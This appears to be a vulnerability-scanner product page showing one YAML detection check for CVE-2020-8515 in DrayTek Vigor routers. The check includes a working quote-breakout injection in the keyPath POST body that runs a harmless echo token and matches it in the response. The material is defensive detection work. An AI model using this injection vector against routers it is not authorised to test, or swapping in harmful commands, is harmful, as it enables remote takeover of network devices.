DrayTek — 1 vulnerability check

noctis ships 1 vulnerability check for DrayTek, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

DrayTek Vigor Unauthenticated OS Command Injection

CVECVE-2020-8515
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, http_request, match · highest QoD 97
Feedtests/vulnerabilities/draytek/CVE-2020-8515.yaml

Injects a benign, inert echo of a freshly generated random token into the unauthenticated keyPath parameter of /cgi-bin/mainfunction.cgi. The token is spliced across an empty `$()` so the joined marker can only appear if the device actually evaluated the injected construct, confirming the command injection while a patched device yields no marker.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request POST /cgi-bin/mainfunction.cgi with a crafted body
  4. Checks resp.body for NOCTIS[0-9a-f]{32} → finding QoD 97: DrayTek Vigor Unauthenticated OS Command Injection (CVE-2020-8515)

References:

Feed source — tests/vulnerabilities/draytek/CVE-2020-8515.yaml
# DrayTek Vigor — Unauthenticated OS Command Injection (CVE-2020-8515)
#
# Multiple DrayTek Vigor routers expose /cgi-bin/mainfunction.cgi without
# authentication. The `keyPath` form value of the `login` action is passed to a
# shell without sanitisation, so a crafted value escapes the surrounding quotes
# and runs an attacker-supplied command. Added to the CISA KEV catalog
# (2021-11-03), actively exploited in the wild.
#
# Detection strategy (benign marker, no reconnaissance commands):
#   We generate a fresh random token per run and inject a single inert
#   `echo` whose argument splices our token across an empty command
#   substitution `$()`. A device that evaluates the injected construct emits
#   the two halves JOINED (NOCTIS + <token>) — a sequence that never appears in
#   the literal request we sent (the wire bytes keep the `$()` between them).
#   A patched device returns a benign/4xx response and never produces the
#   joined marker, so this separates vulnerable from patched purely on whether
#   the parameter is processed as a command — without reading files, probing
#   the environment, or leaving anything behind.
uid: 32da26f2-7c9b-476c-9873-61df50180c01
name: "DrayTek Vigor Unauthenticated OS Command Injection (CVE-2020-8515)"
description: |
  Injects a benign, inert echo of a freshly generated random token into the
  unauthenticated keyPath parameter of /cgi-bin/mainfunction.cgi. The token is
  spliced across an empty `$()` so the joined marker can only appear if the
  device actually evaluated the injected construct, confirming the command
  injection while a patched device yields no marker.
cves: [CVE-2020-8515]
cvss: 9.8
severity: critical
confidence_base: 0.25
category: rce
tags: [draytek, vigor, command-injection, rce, kev, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-8515"
  - "https://github.com/imjdl/CVE-2020-8515-PoC"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-8515.yaml"

steps:
  # ── Generate a fresh random token for this run ───────────────────────────
  # 16 random bytes → 32 lowercase hex chars. Different on every scan, so the
  # match cannot be satisfied by a hardcoded value baked into a target.
  - id: gen-token
    action: script
    store_as: tok
    code: |
      rand_hex(16)

  # The marker we expect ONLY if the device evaluated the construct: the two
  # halves joined with the empty `$()` removed.
  - id: build-marker
    action: script
    store_as: exec_marker
    code: |
      "NOCTIS" + tok

  # ── Inject the benign echo into the unauthenticated keyPath parameter ─────
  # The payload lives in the POST body (form-urlencoded), so reqwest does not
  # normalise it — http_request is safe here. `%27%0A ... %0A%27` breaks out of
  # the single-quoted context; `echo${IFS}NOCTIS$(){{tok}}` echoes the token
  # with `$()` splicing NOCTIS and the token so only evaluation joins them.
  - id: inject
    action: http_request
    method: POST
    path: "/cgi-bin/mainfunction.cgi"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "action=login&keyPath=%27%0Aecho${IFS}NOCTIS$(){{tok}}%0A%27&loginUser=a&loginPwd=a"
    store_as: resp

  # ── Confirm the joined marker is present in the response ─────────────────
  # pattern is generic (works for any random token, so a marker-swap still
  # detects) while the condition ties the hit to THIS run's exact token and
  # proves the `$()` was collapsed — i.e. the construct was evaluated, not
  # merely reflected (a literal reflection would keep `NOCTIS$()<hex>`).
  - id: confirm
    action: match
    source: resp.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "resp.status == 200 && stridx(resp.body, exec_marker) >= 0"
    on_match:
      finding:
        title: "DrayTek Vigor Unauthenticated OS Command Injection (CVE-2020-8515)"
        description: "The unauthenticated /cgi-bin/mainfunction.cgi login action evaluated an injected construct in the keyPath parameter, confirming CVE-2020-8515 command injection."
        remediation: "Upgrade to a fixed DrayTek firmware (per vendor advisory for the affected Vigor model) and do not expose the web management interface to untrusted networks."
        confidence_delta: 0.65
        qod: 97
        evidence: "keyPath injection evaluated — joined marker NOCTIS<token> returned (status {{resp.status}}); token generated this run."
      stop: true

View these feeds on GitHub